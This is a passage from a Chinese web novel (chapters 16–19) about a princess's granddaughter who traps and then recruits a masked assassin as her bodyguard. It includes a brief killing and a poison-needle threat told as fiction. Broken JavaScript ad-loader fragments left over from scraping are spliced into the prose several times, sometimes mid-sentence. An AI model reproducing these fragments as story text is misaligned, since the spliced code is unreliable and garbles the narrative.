不为别的,她想看看沈贰到底回不回来,又为什么来。 在同大理寺里的人交谈过程中,华梨确信自己已经打消对方大半怀疑。华梨本想将自己单方面的约定一并告诉他们。但转念一想,沈贰该以什么身份来,又凭什么来。 倘若沈贰真的来了,华梨又不免陷入这群人的猜忌中。 沈贰可以被抓,但绝不能是因为赴她的约被抓。 除非抓住沈贰的人是华梨。 但华梨抓到人送到大理寺,没有任何证据地说:“这人是凶手。”也不会有人相信。 这件事只要涉及到第三方,对华梨来讲都是件极为难办的事。 所以华梨选择处理好自己的事, 华梨每年都会去到南敬山,只不过这次会多一件事。 若最近种种事情都是沈贰所为,那么他的武艺定然不差。华梨会在那日带足人手确定自己的安危,为沈贰来一场明目张胆的瓮中捉鳖。 他若敢来,自然是最好。 华梨手中拿着绣剪,正在为玉瓶中的花修剪枝叶,枯黄的叶子掉落在案,被风吹动。 她心中想:她什么事都不想存疑,可最近的事桩桩件件充满谜团,甚至于她方才的推测都只基于自己众多猜测中的一个。 华梨讨厌这种不可控的、身处迷雾般的感觉。 她将绣剪放下,锋利的剪身倒映出玉瓶中娇艳欲滴的花朵。 华梨心想:若要做个了断,起码要她将这件荒唐事解决。 否则她定会挂念许久。 想好这些事情,华梨感觉身心前所未有的舒畅。 那么,只待南敬山花开。 16. 第 16 章 南敬花尚未开放,皇帝先召华梨入宫。 华梨得到传召时心中一片木然,她本以为自己在书院结业后会变得空闲,谁知道这些日子比在书院中的时光更是忙碌。 三天一小事,五天一大事。 但纵使华梨心中不大愉快,还是准时到了皇宫。 见到皇帝,皇帝看她几眼问她:“你最近怎的总是卷入这般怪事,是不是被有心之人针对了?” 华梨自然知道不可能,但她不会对皇帝说的这般肯定:“也许吧,谁知道呢,毕竟我这种脾气,恐怕得罪不少人。” 皇帝笑:“原来你也知道自己脾气不好。”他倒是未对华梨的脾气多加点评,“不过你的母亲是长公主,舅舅是皇帝,这般脾气倒也是正常,但总归不要惹火烧身。不过我知道你,应当不会和人结下什么深仇大恨。” 华梨轻哼:“那可不一定。” 她这副不大在乎的模样,又让皇帝说教了几句,大抵都是让华梨最近出门时身边多带侍从,莫要独身,以免遇险。 片刻后,他提起之前的事:“你和老九的关系如何了?” 华梨莫名心中一紧,心虚的想起自己让华百川干的事。 她眨眨眼,面上不显半分,思索着皇帝到底清不清楚她的小动作:“是有缓和,比以前好点。” 皇帝:“老九性子刚直却比其他人要单纯,有时候甚至带着傻气,不大聪明的样子。”他笑,对自己的儿子点评。 “最近他在刑部司忙的不可开交,听刑部司的人同我讲他进步的很快,于正事上比旁人上心,年轻人脾性大,但他也在克制,倒算个好苗子。” 华梨登时不吭声。 原本杂乱的心思收拢,她似乎有点明白皇帝要干什么了。 最近朝堂上吵得沸沸扬扬,民间虽被压下了消息,但华梨作为靠近权利中心的人,焉能不知这些事。 他打算立太子。 但皇帝凡事都会斟酌许久,用长公主的话来讲,她觉得华烨有些优柔寡断,拿不定主意。 恐怕在华烨将自己召入宫前,也有传信给长公主询问此事。 长公主的态度华梨不知道,但华梨的的确确不想参与这件事。她注定做不成长公主、亦或者华烨那样的人。 她曾不止一次听长公主感叹自己更像那个早死的爹。 但华梨觉得自己和苏文元并不像。 她垂目看着桌案上摆放的精致糕点,目光神游不知道在想什么,明显不在状态。 皇帝:“听无聊了?” 华梨点头,皇帝看出华梨不是很想说话,便没有强求华梨给个答复。 总归华梨背后还有个长公主。 皇帝沉吟片刻,体贴道:“也是,这么些天你前前后后遇到不少事,想来忙极,如此来讲我也不多说什么,你就当作是我这个年纪的舅舅发的牢骚,莫要放在心上。” 他看了眼御书房之外的天色:“午时太阳毒辣,要留在宫里陪舅舅吃顿饭吗?” 华梨:“吃不惯宫里的,府上厨子肯定在做好午膳等我呢。” 敢拒绝皇帝的天底下都没几个人,华梨不以为然,幼时不知事倒还好,如今年岁大了,不免愈发拘谨。 只觉远没有在府上自由。 皇帝原本也只是顺带问一句,他被华梨婉拒惯了倒不觉得有什么。 摆摆手吩咐内侍送华梨出宫。 末了又嘱咐起,叫华梨出门注意安全。 华梨听出话中藏着风雨欲来,她点点头表示知道了。 刚出御书房没多久,华梨遇到了一个极其讨厌的人——大皇子华子昂。 天生的笑面虎。 华梨不想和对方纠缠,毕竟在几个皇子里最不好对付的就是他。 占据长子之位,温文尔雅,德才兼备。 这种人是华梨避之不及的。 她见到大皇子迎面而来,顿时停住步子,顺着另外一条路走远了。跟在华梨身后的内侍急匆匆跟在华梨身后小声提醒:“长阳郡主,这不是去宫门的路。” 华梨睨他一眼,眼神中饱含不满:“我自然知晓。” 内侍立刻闭嘴安静跟在华梨身后。 被华梨嫌弃而远远扔在身后的大皇子看着华梨远去的背影,笑了笑,不甚在意。 他整理袖口的褶皱,对御书房外的大总管道:“我有事要拜见父皇。” 华梨那边绕了远路,被外面的热气熏的额头冒出细细的汗珠。 小内侍边走边打手上的着扇子为华梨扇风。 这皇宫说大不大,毕竟华梨没走几步就能碰到熟人。可说小也不小,譬如此刻她走的累了,还没到马车停放的地方。 华梨心中只觉得晦气,今日出门和该跨个火盆。 她挑着难听的话将大皇子骂了又骂,心里还是觉得不解气。 她不该为了个大皇子就绕路走。 华梨在心中恼道。 也怪皇帝今日那番试探,让她心烦意乱。 她又走了几步,听到了少女交谈的声音。 “公主,您的课业该自己写,我不能替您写了,若是这次策论再不过,恐怕陛下那边该生气了。” “不想写嘛……策论不过纸上谈兵,到底又什么用啊……” 一道声音沉稳有力并且耳熟,另一道声音模糊不清,似乎是没力气说话,困的慌。 华梨想这倒是与当年她和如春的相处有些类似。 走到这里不过偶然,华梨没有窥探被人谈话的习惯,她离远了些继续往前走。 但枯枝落叶被踩碎发出的清脆声音,还是叫那边两位少女发觉华梨的到来。 “谁在哪里?” 华梨没说话,小内侍不自觉替华梨紧张答道:“回十一公主的话,是长阳郡主方从御书房出来,来这边赏景。” 小内侍没想到会遇到这种情况,他资历尚浅又不够老辣,不知如何应对这种情况,说出的话不免带有几分不可信。 好在在场的人都未曾计较。 那两位少女在小内侍回话时已从凉亭走过来,华梨认出十一公主,自然也认出旁边的姑娘是赵羡。 那日她便推测出赵羡是十一公主身边的伴读,没想到此时又碰面。 说来也巧,十一公主又名华千流。 她是华百川的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亲妹妹,之前二人见到华梨就要吵架,但两个人没一个能吵得过华梨。 自从华梨举荐华百川之后,华百川便转变态度,和华千流不同路,还时常劝说华千流。 惹的华千流更加火大。 而俩兄妹之所以看不惯华梨,理由倒是类似。华百川是因崇拜苏文元,而华千流则是因为仰慕华映月。 见是华梨,华千流秀气的小脸流露出嫌恶。 反观赵羡倒是很开心的模样,但碍于华千九在场,不敢多说什么。 华千流先开口: “真是阴魂不散啊,怎么最近总是能碰见你。” 她刚及华梨的腰高,也许是还未张开,华千流脸上肉嘟嘟,双目圆睁,大而明亮,像是个精致的玉雕娃娃。 平心而论,华千流长的比她的亲哥哥华百川要讨喜很多。 但脾气也更为恶劣。 她甩开赵羡扯住衣袖的手凑到华梨跟前——但因身高不够只得仰视华梨,以至于半点气势也无。 “哼,就算你给我那个傻哥哥灌了迷魂汤也没用,我会一直、一直讨厌你!” 华梨看着放狠话的华千流,面无表情的想在宫中能一下子培养出两个傻瓜,她和华百川的母妃也算是人才。 她今日没有什么心情逗弄华千流,看了眼对方身后满脸着急的赵羡,收回目光抬脚走人。 “喂喂喂!你这人怎么越来越嚣张!” 身后小姑娘的声音充满气急败坏,华梨没有回话,绕开她们往外走。她身边的内侍机灵了点,阻拦着华千流想要跟上去找麻烦的举动。 眼看华千流要发火,赵羡无奈小声开口: “你先去长阳郡主那边吧,这里也没你什么事。” 小侍从感激地看了眼赵羡,然后头也不回地跑远。 毕竟十一公主也不是他能得罪的。 赵羡见再没了旁人,收起脸上的无奈,神情严肃起来:“公主。” 华千流最怕她这副样子。 但是她心中仍旧有不知名的余怒,被这般叫唤,登时感到委屈不快:“怎么了嘛,你也这么护着她,她哪里好了。” 她撅着嘴嘟囔,眉毛皱起。 赵羡站在华千流面前,明明只比对方大一岁,却老气秋横。 此刻赵羡只是静静盯着华千流,什么也不说,不过片刻华千流就有些受不住这种气氛率先移开目光。 赵羡知晓这是华千流这是在服软,她开口:“课业还没写完呢,公主。” 她没有提到先前的事情,因为赵羡知道华千流性格过刚过直,此刻再提旧事只会犹如火上浇油。 更何况华千流虽然脾性大,也是个极有主见的。 有些事需的华千流自己明白,她开口的话只会激起对方的逆反心理。 就像之前华百川和华千流的不欢而散一样。 赵羡看的比当事人清楚,所以知道该怎么做。 她在心里叹了口气: “明日不止有课业抽查,娘娘晚上恐怕也会问起,若是您再这样耽于闲事,恐怕……” 听到赵羡的这番话华千流这才乖乖听话,没再闹腾。 17. 第 17 章 华梨回府后先是传书于长公主,而后吩咐如春对外宣称自己染病卧榻,最近前来府上拜访的人概不接见。 果然不出华梨所料。 自她从皇宫出来后,府上比往日多了些来试探口风的人。 但由于华梨事先猜到这种情况,所以前来公主府的人全部都无功而返。 华梨支着下巴看着窗外葱翠的景色,心中谈不上宁静。 长公主府太招摇了。 或者说皇帝给长公主府的恩宠太招摇了。 哪怕她和长公主都表现出于朝堂无意,但是暗地仍有许多觊觎的眼睛。 尤其是当出现大事时,往日那些蠢蠢欲动的人就更加藏不住手脚,直叫人厌烦又无可奈何。 . 距灯会那夜的约定之期愈发的近。 中途华梨改变过多次主意。 原因很简单,华梨做事全凭借心情而为。她确实很想将“沈贰”的谜团解决清楚,但华梨总疑心自己这样是在服软,或者说是……退让。 总之无论怎样,都让华梨非常不愉快。 她讨厌这种仿佛被拿捏的感觉。 在去南敬山的前一天,华梨还在思考将“沈贰”送入大牢除以死刑的可能性。 但最终华梨还是放弃了这个想法。 她像往年一样前往寺庙。 捐香油钱,上香,拿着红绸前往寺庙的祈福树。 华梨从小便常随长公主到南敬山的寺庙上来,据长公主说,她和苏文元将军就是在此定情。 对于她的这位亲爹,华梨的印象并不深。 毕竟对方死的早。 长公主鲜少提到对方,所以华梨对他也没什么敬意或者怀念。甚至在记事后很长一段时间里,华梨对他是充满厌恶的。 直到…… 像是想到什么,华梨面上流露出不愉,这股不愉中夹杂着复杂。但很快这些情绪便被华梨隐匿在心中,她的面上看不出情绪,唯有捏着木牌的指尖泛白。 华梨扯了扯嘴角,垫脚将木牌一并系在较低矮的树干上。 清风徐来,树上红绸与木牌应风而晃。 华梨盯着那木牌,脸上是和沈确为卫章“祈福”时一样的冷然。 是毫无诚心的表现。 像是在完成一场自己并不情愿的嘱托。 但华梨自己没有意识到。 她仰头看着树上无数人带着美好愿景悬挂的寄托,日光穿透层层叠叠的遮挡,被滤成光晕落在她的脸上。 乌黑的青丝被挽成发髻盘在脑后,华梨耳垂下的玉兔耳坠透着光,明晃而温润。 周遭并无其他人,浅草长满整片寺庙后院,偶尔的“沙沙”声极为明显。 寺庙中没有其他的事可做,华梨让如春陪着自己一起在寺庙中转悠。华梨每年都会前来寺庙,早就对这里了如指掌。 将寺庙逛完后,华梨又去外面的梨花林逛了几圈。 华梨的名字之所以带“梨”,便是取义梨花。 将军府中有棵老梨树,到苏文元那一代时,那棵老树已有多年未开花。 但华梨快出生时,这棵老树却开出一整树的梨花。 这件事在当时成为了件美谈,华梨的名字也就那么定下来。 可华梨觉得这只是桩巧合。 无非是之前的侍从对那棵将要死去的枯树不甚在意,才导致梨树后来迟迟开不了花。 长公主喜欢花,嫁入将军府后见到那棵树,便悉心照顾。 故而老树逢春和她的出生可无甚关系。 只是华梨确实也偏爱梨花。 后来长公主从将军府搬出,她便央着长公主将那棵树挪栽到长公主府。 如今她闺房旁边的梨花树就是当年移栽过来的。 每年花期将至,也是华梨生辰将至。 华梨为人放肆招摇,但生辰却过的很简单,有心人送礼也只能送到如春手中,华梨自己并不在意。 毕竟她讨厌这种虚假的情谊。 . 夜色悄然而至。 华梨最终还是在寺庙里等着沈确。 她在心中想道:她得确定一些事。但对方在暗她在明,这次是单方面的约定是唯一的线索,她若真心想揭开谜底,就不能断开这条线索。 若对方不来赴约,华梨之后会彻底将这件事抛诸脑后。 她绝对不容许自己一而再、再而三被他人牵着鼻子走。 当然,就算对方肯来,这件事也未必能顺利解决。 没人会对一个只有几面之缘的家伙吐露心扉,更别提把自己交代的清清楚楚。 同一片漆黑的夜幕之下。 血腥气充斥整个房间,沈确手起刀落,对方惊恐的尖叫声被冰冷锋利刀刃划断,涌出温热鲜红的血。 第五个。 沈确低眉,如霜的月光落在在他棱角分明的侧脸上,像是修罗戴上良善的假面。 温和又充满肃杀之意。 他在心中盘算:影阁悬赏众多,但大致分为两种,第一种悬赏他接取三个便被勒令不准再接取,第二种悬赏赏金低,且极易出现纰漏,他不能多接。 这次的任务目标是三百银,够姜不离一个月的药钱。 若加上以往的赏金,能撑到明年开春。 只要不断药,姜不离的病能在这两年治好。 他按照惯例将杀人凶器扔在现场。 这并非挑衅,而是影阁的规定。 至于为什么有这个规定,不在沈确的考虑范围内。 他翻窗借着皎洁的月光离开现场,回到影阁将一身充满血腥味的衣服换下后,沈确突然想到今天是二十。 南敬山梨花最盛之时。 是灯会那夜快结束,那个小姐和“卫章”约定好的时间。 他下意识摸到方柜的第二层抽屉——那里面放着的都是人皮面具。 沈确每次做悬赏便会戴上一张。 他的指腹触及人皮面具,又像受到刺激般将手指弯曲。 她同”卫章“的约定与他却是没什么关系的,而且,她现在应该厌他。 那片梨花林里怎么会有人,若有,恐怕也是在守株待兔。 他僵持着没有动作。 眼神中却没有犹豫,只待一个动作。 最终,沈确拿起了人皮面具。 他在脑中想了许多事,又或许不多。 沈确一生惯会杀人,也只会杀人,遇到华梨之后需要他思考的事情太多。 他每次都要思虑许久——最终遵照内心想法。 他想去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 某种诡异敏锐的直觉也在告诉他,他要去。 于是沈确戴上人皮面具,艳丽不失少年英气的面容被普普通通的人皮面具遮盖。 今夜的月亮格外的亮,沈确凭借月光抵达南敬山。 明晃晃的光落在未眠的梨花上,一山宛若雪覆盖。满山寂静,唯有草木树叶的飒飒声。 寺庙的大门是开着的。 沈确察觉到这片皎洁如雪的梨花林里藏着许多危机,有人在盯着他的一举一动。 也是直觉在警告沈确,他再走一步,就是对方的狩猎范围。 沈确冷漠狭长的眼低垂,睫羽轻颤:这场狩猎的背后,是大理寺,还是他的某个仇家……还是她? 沈确心中明白,今夜的事只有她和他知道。 无论背后做局的人是哪方势力,或许都是她的心愿。 若他今日被抓,亦或者直接死在这里,影阁会另付一大笔酬金给他的家人。他没有家人,这笔钱毫无疑问会转交到姜不离手上,加上之前攒的赏金,这些足够治好病姜不离的病。 这般考量,他放下心来。 死亡于沈确并不可怕。 因为做杀手的人,随时要做好舍命的打算。 他们在轻易将他人的生命抹去的同时,也要将自己的命放在同样轻贱的地位。 这是每一位杀手的觉悟。 一片花瓣落在沈确手背,擦过肌肤落下。他踩着步子进到寺庙里,杀手的本能让沈确绷直身体、浑身警惕。 僧人全部入眠,寺庙内并无灯火,只余一片漆黑。 沈确目光游走一圈,很快朝着后院走去。 他知道这是谁的“猎场”了。 张扬的毫不收敛,看着猎物带着警惕步入自己的狩猎范围。 看似大意的疏忽只为让人放松,实则滴水不漏让人插翅难飞。 是华梨。 沈确内心最后一点微不可见的挣扎和松动,在猜到是华梨后消散。 他的脚步声音将近于无,几息之间便抵达后院。 漆黑的夜里明月高悬,星辰闪烁。 极高的祈愿树上挂满寺庙中常见的红绸,这些红绸多被被夜色染上漆黑的色泽,又在某一风动的瞬间显露出白日的鲜红。 树下有一张石桌和四个石凳,桌面上放着两盏精致小巧的提灯,在漆黑如墨的夜晚散发柔明亮的光泽。华梨坐在最靠近祈愿树的石凳上,双手托着脸,盈盈光亮照亮她的脸容,她专注的看着提灯中的烛火,像是不曾察觉他的到来一般。 沈确向前走了一步。 两步。 三步。 愈发的近。 沈确在想,华梨想做什么? 他站在距离华梨大约三米远的地方。 沈确无心让华梨戒备自己,他也没有挟持华梨逃跑的打算,而这个位置是一个无害的、完全的、猎物姿态的位置。 他想,若这是华梨布置的狩猎场,那么他该在这个位置。 长久的寂静过后。 沈确看到华梨打开灯罩挑灭了一根蜡烛的火。 紧接着华梨抬头看向沈确。 她额前鲜红的花钿被橙黄的光染上其他颜色,碎发顺着动作滑落至肩,华梨用一贯清悦的声音问道: “沈贰?” 18. 第 18 章 是他的假名。 他看着华梨漆黑如墨的眼眸,“嗯”了一声。 在沈确观察华梨的时候,华梨也借着月色看清沈确。对方依旧是陌生的面容上是熟悉的陌生,眼神比夜色凉上几分。 “那夜的纸条和闯入长公主府的黑衣人也是你?” 比起不清不楚的试探,华梨的问题总是格外直接且犀利。 沈确:“嗯。” 听到对方这般承认,华梨眸色微沉,依旧猜不透沈确来赴约的目的。 她手指拨弄忽明忽暗的烛火,抬眸和沈确对望:“不介意我让人搜身?” 沈确依旧简洁地回答华梨的问题,不多说一个字,但也没有做出有威胁的动作。 片刻后,搜身的暗卫从沈确身上搜出一个香囊,隔着夜色,华梨没有察觉到是自己先前送给沈确的东西。 暗卫打开香囊,没有发觉什么奇怪的东西,便将它还给沈确。 暗卫退下后,华梨眼神在沈确身上游走。 没有找到武器么…… 华梨看着将自己放置在无害位置的“沈贰”,依旧不大相信他。 对面前之人有好感、今夜在这里等待对方,不代表华梨会相信一个令官府和大理寺头痛不已的杀手。 她还在揣测对方赴约的目的。 想了想,华梨直接问道:“为什么帮我,又为什么假装卫章,你的目的是什么。” 她语气微冷,不似最初的随性,带着几分锐利。 沈确被她直白的问题问住,指尖微动,似在思索。 他喉结滚动,很快又将话咽回去。 但华梨的目光依旧放在他的身上,像是要盯出一个结果。 沈确不会撒谎,但也许是夜色太凉,衬的那眼神宛若灼人的火光,让他十分不自在。 几瞬,他道:“没有目的,巧合。” 帮她没有目的,刺杀卫章是巧合,所以假扮成卫章也是巧合。 华梨竟然能听懂这番言外之意,她简直要被这番再简洁不过的话逗笑:“没有目的?你觉得我会相信吗?” 华梨本以为沈确会沉默不语,谁料沈确思索片刻,依旧无甚表情道: “不会。” 她听着沈确的回答,浮出笑意,笑意中带有讽刺,不真切:“那你还说。” 沈确这回才真正沉默不知如何回话,他似乎又惹对方气恼了。 不回话,华梨不满。 回话,华梨依旧生气。 沈确出神的想,他接过的悬赏中没有任何一个能比华梨还棘手。 华梨通过为数不多的几次接触,大概清楚沈确的性格,对方若不想回答亦或者不能回答,便会沉默。 真正的惜字如金。 她收起脸上的讽刺,决定不和他计较: “你今夜为什么来赴约,又为什么毫不设防孤身前来,站在这里回答我的问题。” 沈确:“……直觉。” 华梨于他有恩情。 所以他会在华梨撞见自己杀人时,将人毫发无伤地放走,而非灭口。 也是恩情让他在知道华梨府上有江湖骗子后,在暗中提醒。 但今夜赴约似乎没办法用“恩情”来解释。 是直觉让他必须要来。 沈确以为华梨会再次被他的话惹恼——倒不是沈确想这么做,只因他确实不会说话。 但华梨看他半晌,而后低头再次挑灭一根烛火。 灯笼散发的光亮愈发幽暗,像随时会被掐灭。 华梨将提灯重新放回石桌的正中央,葱白的指尖抚摸灯罩外层的白纱。 低头的动作将她的神色掩饰,叫人分辨不清此刻她的想法。 挑灭一根的意思是活捉沈确,两根则是放弃计划,只警惕沈确。 她站起身,宽大的袖袍遮挡住半片光亮, 见华梨走近沈确,如春忍不住想要开口劝阻,但考虑到华梨会因此不愉,她没有开口。如春目光紧锁沈确。一旦对方有什么异常,她就会上前将其钳制。 华梨并不喜欢梨花的味道,她闺房窗外栽种的梨花树是没有味道的。南敬山上的梨花则是极淡的草木清香,没有鱼腥的怪异味道。 她今天在梨花林中待了许久,衣裳留有梨花的清香,离得近就会嗅到。 华梨仰头看着沈确,脸上突如其来的笑意仿佛春水梨花般轻柔,和以往的冷笑亦或者讥笑全然不同。 “这个回答我很满意,因为我今夜在这里也是为的直觉。” 她手触碰到沈确的脸——这是个非常危险的动作。 无论是对华梨还是对沈确来说。 这个动作既方便沈确控制华梨,也方便华梨将毒针刺入沈确体内。 她笑意依旧,丝毫看不出会在下一瞬投毒。 沈确依旧没有动作,他低头看着华梨,静默不语。这样的人好像死了都不会留下只言片语。 华梨摸了摸他的脸和脖子交接处,微凉的指腹触碰到对方的肌肤:“我能把你的这层面具摘下来吗。” 是问句,没有询问的语气,只是提前客气的告知。 华梨在试探对方的底线在哪里。 但若对方流露半点歹意,毒针就会刺入他的身体。她确实不擅长武艺,但毕竟有不少人对长公主府虎视眈眈,这种保命的技巧华梨很是精通。 沈确在华梨碰到自己时便高度紧绷,这一瞬仿佛回到那夜灯会对方为自己戴上耳坠。 暧昧又强势的姿态,让他也不懂华梨究竟想做什么。 杀手不能让人看见正脸。 但沈确的直觉不想拒绝华梨。 于是他不开口,狭长的眼静静看着华梨。 华梨眨眨眼回望沈确,指尖在他脸上划过,带动酥痒的触感。 她停顿几瞬,心中千回百转,最终放弃这个想法:“万一是个丑八怪就惨了,现在起码还能看。” 其实华梨是明锐地嗅到一丝怪异。 沈确对她的态度太过诡异,华梨不相信天底下会有一见钟情的死心塌地。 正如华梨从不相信皇帝是真心待她。 她不相信。 在自己的试探中,沈确的种种反应都在她的意料之外,这让她产生了恐惧。 这种恐惧不是惧怕对方的身份、亦或者带来的危险。 而是更深层次对于人心的恐惧。 和她在看到皇帝向自己过度示好时,所产生的恐惧如出一辙。 于是华梨强迫自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不许再探究。 她的手将要离开沈确时,沈确突然抓住她的手。 华梨微微挣扎,发现自己挣脱不开。 她笑意变浅,看着沈确冷漠的眼睛,华梨的眼神亦被夜色染上凉意,她另一支手已然准备好毒针。 指甲上也涂有毒,但这种毒需的接触到对方体内。 也就是需要用指甲刺破对方的皮肤。 沈确察觉到气氛的变化。 但他不在乎。 他今日本就抱着必死的打算。 于是他道:“可以。” 又怕华梨听不懂,他补充道:“可以摘。” 宛若幽潭的眸子泛不起一丝涟漪,分明还是冷漠的模样,但华梨莫名觉得他有些委屈? 撇掉这股怪异感,华梨感受到沈确的手掌有层薄茧。 她漫不经心地想:习武之人多是如此吗? 沈确不知道华梨心中的想法,他带着华梨的手轻轻揭下那层薄面。 华梨本心有抗拒,但不知为何,每当她看到沈确时,她心中的计划总会被打乱。 明明上一刻已然打算放弃对方,可在下一瞬对方却将自己送到她面前。 人皮面具下,是一张极为艳丽的脸。 殷红而削薄的唇,死寂沉默的眸,无一不是华梨最喜欢的模样。 或许这种冰冷诡谲的眼神会吓退心怀不轨之人,但华梨不会。 她屏住呼吸。 她非常喜欢沈确的这张脸。 如果沈确使用的是美人计,华梨承认她心甘情愿中招。 起码现在她不会有将沈确交给官府、亦或者杀掉的想法。 她再次对沈确产生不同寻常的兴致,这种性质让华梨短暂忘记上一刻的恐惧。 也让华梨再次随性而为地更改原本的计划——她不打算放过沈确。 也许和这种人纠缠会给自己增添许多麻烦,但在她对沈确这张脸失去兴致之前,她都不会想将对方轻易放走。 华梨一瞬不瞬盯着沈确:“你的真名是什么?” “……沈确。” 华梨将两个字重复念了两遍:“确定的确?” 沈确点头。 他也在观察华梨的反应,见她面上没有流露怪色,就知道华梨对他的脸并无不满。 灯会那夜华梨不喜欢卫章的脸,那么这样是否能让她不那么厌恶自己? 沈确到目前为止,都认为华梨是因他杀死卫章而生气。 他以为华梨做的这些事都是在戏弄自己,好叫自己放松警惕,将自己抓捕归案。 两个心思各异的人就这样对峙到现在。 华梨:“所以你的目的究竟是什么。” 也许是华梨觉得气氛缓和,她再次问出这个问题。 沈确薄唇微抿,他掏出那个香囊递给华梨:“归还。” 华梨这次终于看清香囊的真实样貌,她笑容消失,拧眉:“你什么意思?” 沈确听出华梨的不愉快,以为对方误解自己是在挑衅——毕竟原本该收下这些东西的卫章,死在了他手中。 而他现在却又拿着东西还给华梨。 “这些是你送给卫章的,我不该留着。杀死卫章是我的任务,抱歉。” 19. 第 19 章 沈确虽说依旧没什么表情,但态度意外诚恳。 华梨看他几瞬,香囊上凸起的刺绣抵上华梨的指腹:“你的话一直这么少吗?” 沈确总像不会说话似的。 她收下香囊,心中感到玩味。 所以对方的目的是过来道歉? 她在心中将沈确的话略一拼凑,大概得出沈确的意思:沈确以为她喜欢卫章,在顶替卫章之后收下本该送给“卫章”的东西,但后来事情败露,他对她心生愧疚,故而前来归还“不属于”他的东西。 华梨不打算现在解释她早就看穿当时的卫章是他、那些东西本就是送给他的。 她觉得不可思议的同时,又命沈确伸出手。 “如果是来道歉的话,其实没什么必要,毕竟被杀的不是我,我也不在乎对方生死。” 沈确在她说话时伸出手,只见华梨将他“物归原主”的东西放在他的手心。 “念在你今夜乖巧的份上,送给你。” 若沈确是个敏感多心的人,定会以为华梨是在羞辱他,但沈确是个情绪冷漠、惯不会有太多心思的人。 他收下了香囊。 见到沈确收下香囊,华梨又道:“你既然能为归还香囊前来赴约,那现在我再问你一遍,你要入赘吗” 这个问题是在超出沈确的思考范围内,沈确和上次一样保持缄默,一句不言。 华梨盯着他的眼睛,往后退一步,脸不红心不跳地说道: “你不愿意的话,我自然也不会强求。” “你对我没有恶意,我更不是个喜欢声张正义的人,有关你的事我不会主动往外说。”华梨深吸一口气,眼神清明而锐利,“之前的所有事情我会当成巧合,你今夜,可以走人了。” 沈确没有动作,华梨率先转身接过另外一盏明亮的提灯离开后院。 待走出一段距离后,跟在华梨身后两步远的如春轻问:“郡主不该留下他,假若他日被官府抓住,口不择言攀扯到郡主您身上……” 华梨打断如春的担忧:“你觉得官府应该相信他,还是相信我的话?而又有谁能做他的人证,证明他所言非虚?” 如春:“奴婢懂了。” 华梨:“他真要是在我手上死掉,被大理寺查到蛛丝马迹,才是件大麻烦。” 三日后。 长公主府突然招收贴身侍卫,酬金极为丰富,主要任务是在长阳郡主出行时,保护对方的安全。 一时间民间议论纷纷。 长公主府内,如春端上果盘,为华梨剥橘皮。 华梨卧躺在贵妃榻上,正在翻阅花名册。 她那夜对沈确说的话,意思是她不会再主动探究和沈确有关的一切。 但若沈确主动送上门…… 华梨葱白的指尖停留在宣纸上的某个地方,她看着那个名字,嘴角勾起抹笑。 如春余光撇见纸上的名字时,了然为何华梨的兴致为何突然变高。 不知是重名还是什么,那页纸上的人叫“沈确”。 华梨将写有沈确姓名的那一页折上痕迹,交给如春:“这几个人看起来不错,叫到前厅候着。” 她支起身子,发丝落在腰后。 华梨对这个名字半点不意外。 对方既然不愿意入赘,那她只能从别的地方下手。 华梨猜到沈确很缺钱。 说难听点,长影街的悬赏是给死人接的。 只有把钱看的比命还重要的人才敢接那些悬赏,最近沈确杀死的三个人都是朝廷命官,他显然比常人更不在乎自己的命,也比常人更需要大量的银钱。 至于原因……大概是家中有谁重病。 华梨不在乎沈确的处境多困难,她只知道,这一次对方再次将自己送上门来。 到前厅后,华梨一眼就注意到沈确。 对方似乎不打算在她面前伪装自己,连人皮面具都没戴,在一众人里极为惹眼。 华梨在几个人里面看了看,没怎么犹豫,指着沈确道:“这个留在我身边做贴身侍卫。” 着几人里不免有几个不服气的,见华梨决断如此之快,而沈确又有一张雌雄难辨的面孔,登时忍不住嚷嚷:“长阳郡主,这恐怕不妥吧。” 彼时华梨心情尚好,没有发怒:“我的贴身侍卫自然是我来选,有什么不妥。” 几个人对视几眼,其中一个虎背熊腰的男人站出来:“侍卫侍卫,自然是看中能力,要能保护的了郡主。我看这个小兄弟长的秀气,身上像是没几两肉似的,莫要等来了危险,还得让郡主来护他!” 说着,男人挑衅地看眼沈确。沈确像是没有生气,面对挑衅一言不发。 华梨似笑非笑:“那你说要怎么办?” 男人手拍胸膛:“自然是比划一番,若这个小兄弟真的能让我输的心服口服,那让他来保护郡主我自然放一百个心。” 沈确还是没有反应,只在华梨踢他一脚后抬起眼,落在华梨身上: “我听郡主吩咐。” 男人见沈确这般态度,在心中唾骂:倒是装的一副乖巧可人的模样,指不定打着让郡主心疼的主意。 华梨对沈确这个反应很受用,她笑笑看着虎背熊腰的男人:“你确定要通过比武?” 男人毫不犹豫地点头。 抱着看戏的心情,华梨带着诱哄的意思对沈确低语:“打得过他吗?现在向我示弱的话,我能随时叫停这场比武呢。” 沈确摇摇头,以为华梨真的在关心自己能不能取胜。 “我可以。” 华梨抚平袖口褶皱,坐在主座上:“那就在前院吧。” 长公主府前院虽大,但摆放着许多观赏性花草,比武较为束手束脚。 男人做好迎敌的准备眼神紧盯沈确,一阵风动,比武开始。 沈确是从试炼中杀出血路的杀手,天生的制敌机器,男人在同行中属于佼佼者,但和沈确比起来仍旧不够看。几招过后,他被沈确单手压在地上。 看上去没使多大力气,却让男人动弹不得。 场面一时寂静。 “……这不是挺很厉害的。” 华梨拍拍手,沈确立刻松开钳制男人的双手,那个男人看上去很不可置信,瞪大眼睛盯着沈确,又看向自己的手臂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,好半晌都没能反应过来。 华梨走上前站在沈确身前,紧跟着虎背熊腰的男人挣扎着站起来。 “我……你……” 男人憋红脸憋不出一句话,黑黝黝的脸上出现几分难堪。但他最终没有胡闹,而是认真对沈确道:“是我技不如人,这位小兄弟真的很厉害,我是个老三粗,之前说话多有得罪,还希望小兄弟不要介意。” 沈确没有先说话,他看向华梨,见华梨恰在看着自己,他才慢慢补充一句:“无事。” 其他人心思各异,还有几个跃跃欲试按捺不住想要和沈确比试的。 可惜华梨兴致来的快去得快: “我有些乏了,今天比试到此为止。” 